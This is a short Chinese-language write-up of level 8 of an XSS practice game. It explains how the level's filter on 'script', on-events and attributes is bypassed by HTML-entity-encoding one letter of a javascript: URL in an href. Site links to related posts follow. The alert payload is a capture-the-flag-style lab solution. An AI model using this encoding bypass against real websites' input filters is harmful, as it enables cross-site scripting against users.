XSS-Game level 8

简介: 第八关过滤的很严 , 只能编码绕过了

第八关过滤的很严 , 只能编码绕过了

image.png

源码中过滤了大小写,替换了script , on 事件 和 一些属性 , 而后将参数拼接到 href 属性

image.png我们使用编码绕过 s 编码后为 s , payload

javascript:alert(8)
<a href="'.$str7.'">    //拼接前
<a href="java&#115;cript:alert(8)">    //拼接后
<a href="javascript:alert(8)">    //编码后

点击友情链接 , 触发弹窗 , 过关

image.png

相关文章
Minesweeper game(Plain version)--C
Minesweeper game(Plain version)--C
40 0
|
4月前
|
搜索推荐 Docker 容器
生信分析代码之前还好好的,怎么就报错了 Error in Ops. data. frame(guide_loc, panel_loc) :'==' only defined for equally-sized data frames
执行 `DimPlot` 函数时遇到错误 `;Error in Ops. data. frame(g guides_loc, panel_loc) : &#39;==&#39; only defined for equally-sized data frames`。解决方案和办法
1195 0
生信分析代码之前还好好的,怎么就报错了 Error in Ops. data. frame(guide_loc, panel_loc) :'==' only defined for equally-sized data frames
|
开发工具 Android开发 git
Android Studio完美解决 you are about to commit crlf line separators,warning: CRLF will be replaced by LF
Android Studio完美解决 you are about to commit crlf line separators,warning: CRLF will be replaced by LF
1098 1
Android Studio完美解决 you are about to commit crlf line separators,warning: CRLF will be replaced by LF
XSS-Game level 9
第九关过滤的很严 , 使用编码绕过
107 0
XSS-Game level 9
|
JavaScript 前端开发
XSS-Game Level1
第一关算是送分题 , 没有任何过滤 , 传递一个弹窗的JS脚本即可
207 0
XSS-Game Level1
XSS-Game Level 4
第四关过滤了左右尖括号 ">","<" , 我们使用事件来绕过
133 0
XSS-Game Level 4
XSS-Game level 5
第五关过滤了 <script> 和 on 事件 , 使用 a 标签绕过
125 0
XSS-Game level 5
XSS-Game level 13
第十三关利用 COOKIE 使用 事件绕过
119 0
XSS-Game level 13